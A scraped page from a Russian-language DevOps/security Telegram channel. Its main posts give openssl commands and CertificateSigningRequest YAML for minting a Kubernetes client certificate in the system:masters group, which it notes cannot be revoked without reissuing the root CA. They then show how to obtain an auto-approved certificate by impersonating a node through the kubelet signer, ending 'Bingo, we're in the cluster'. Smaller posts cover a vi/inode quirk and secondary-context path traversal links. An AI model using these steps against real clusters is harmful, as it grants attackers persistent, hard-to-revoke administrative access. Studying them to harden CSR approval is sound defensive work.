Vault of DevOps
71 subscribers
236 photos
55 videos
12 files
130 links
Обсуждаем DevOps
Обмазываемся Security

Публикуемые материалы исключительно для ознакомительных целей ;)

Наши каналы:
Музыка: @vault_of_music
Download Telegram
Hey Linux, happy birthday!🔥
🥰1
😱2
Знаете как создать супер пользака в k8s используя csr Manual/Api?
Anonymous Poll
20%
1. Да
80%
2. Нет
Так-с, начнём с базы.
У нас есть rsa приватный ключик, и запрос на подписание csr (в csr в поле CN мы пишем имя пользователя).

Далее у нас 2 выбора, подписать с использованием openssl или же с помощью api кубера;

Как это сделать руками:
1)
openssl genrsa -out /root/60099.key 2048


2)
openssl req -new -key /root/60099.key -out /root/60099.csr
MUST SET username IN CN: [email protected] !!!!

3)
openssl x509 -req -in /root/60099.csr -CA /etc/kubernetes/pki/ca.crt -CAkey /etc/kubernetes/pki/ca.key -CAcreateserial -out /root/60099.crt -days 500

4) Собираем наш профиль, не csr не нужно будет апрувить, мы их руками подписали:
k config set-credentials [email protected] --client-key=60099.key --client-certificate=60099.crt
k config set-context [email protected] --cluster=kubernetes [email protected]
k config get-contexts
k config use-context [email protected]


Вариант с api:
Шаги 1 и 2 повторяются из предыдущего шага;
3) Дальше нам необходимо создать запрос на подпись:

apiVersion: certificates.k8s.io/v1
kind: CertificateSigningRequest
metadata:
name: {{CN_from_csr}} # ADD
spec:
groups:
- system:authenticated
request: {{BASE_64_ENCODED_CSR}} # ADD
signerName: kubernetes.io/kube-apiserver-client
usages:
- client auth

4) Теперь надо его подписать (kubectl certificate approve {{CN_from_csr}});
5) Далее в объекте csr у нас появится сертификат который можно использовать для взаимодействия с кубером (сборка конфиг файла kubeconfig как в предыдущем способе);
Теперь про сладенькое.

Крч "группы" пользака можно подтянуть через OU расширения в сертификаты:

openssl req -new -newkey rsa:2048 -nodes -keyout /root/60099.key -out /root/60099.csr -subj "/CN=hacker-user/OU=system:masters/OU=system:authenticated"

or:
apiVersion: certificates.k8s.io/v1
kind: CertificateSigningRequest
metadata:
name: {{CN_from_csr}} # ADD
spec:
groups:
- system:masters # this
- system:authenticated
request: {{BASE_64_ENCODED_CSR}} # ADD
signerName: kubernetes.io/kube-apiserver-client
usages:
- client auth


И всё, не отзываем, чтобы грохнуть надо будет перевыпускать корневой сертификат.

😂 Пока писал подумал, а почему мы выписываем сертификат именно у
kubernetes.io/kube-apiserver-client

Да , он автоматом не подписывает csr, однако у нас есть;

kubernetes.io/kube-apiserver-client-kubelet 

Он может таки и авто апрувнуть сертификатик, но надо будет представиться узлом. Если кто хочет протыкать или если кто-то так делал пожалуйста отпишитесь ;)
👍1
This media is not supported in your browser
VIEW IN TELEGRAM
Кому интересно продолжение:

openssl genrsa -out node.key 2048

openssl req -new -key node.key -out node.csr -subj "/CN=system:node:wars/O=system:nodes"

cat node.csr |base64 -w0

apiVersion: certificates.k8s.io/v1
kind: CertificateSigningRequest
metadata:
name: node-csr
spec:
request: base64_encoded=
signerName: kubernetes.io/kube-apiserver-client-kubelet
usages:
- digital signature
- key encipherment
- client auth

Тут же получаем авто апрув от kube-controller-manager :)

Бинго мы в кластере, на всякий там, в последнем, авто апрув флагами стоит ;)
Знайте, я сторонник NANO;
Если вы пользуетесь vi, то без вот этой х*рни вам будет ппц, если у вас маунтится конфиг в контейнер через -v, а вы на хосте редактируете файл, у вас черт возьми измениться инод файла и на лету контейнер, например nginx не увидит этого изменения (ls -i в помощь);
This media is not supported in your browser
VIEW IN TELEGRAM
В свете последних событий с хомяком :)
🥰2😁1
Forwarded from ScriptKiddieNotes
Тут какой-то залетный задал вопрос https://t.iss.one/ScriptKiddieNotesChat/3460

Вообще, вопрос интересный. И я начал вспоминать, что же я знаю про "secondary context path traversal".

Как я всегда это понимал - это когда ты не напрямую проводишь атаку типа path traversal на веб-приложение, а когда при этом имеет место быть прокладка в виде прокси/шлюза. И чтобы визуально добиться и достать результат надо попотеть, ибо не так просто подобрать правильный path routing.

Натыкался на нечто подобное, когда в качестве прокси выступал nginx. Но чет не осилил.

Тема не то, чтобы новая, но вполне имеет место быть. Просто автоматикой не детектится, лол)

Материалы по теме:

https://github.com/GrrrDog/weird_proxies

https://speakerdeck.com/greendog/reverse-proxies-and-inconsistency

https://docs.google.com/presentation/d/1N9Ygrpg0Z-1GFDhLMiG3jJV6B_yGqBk8tuRWO1ZicV8

#bb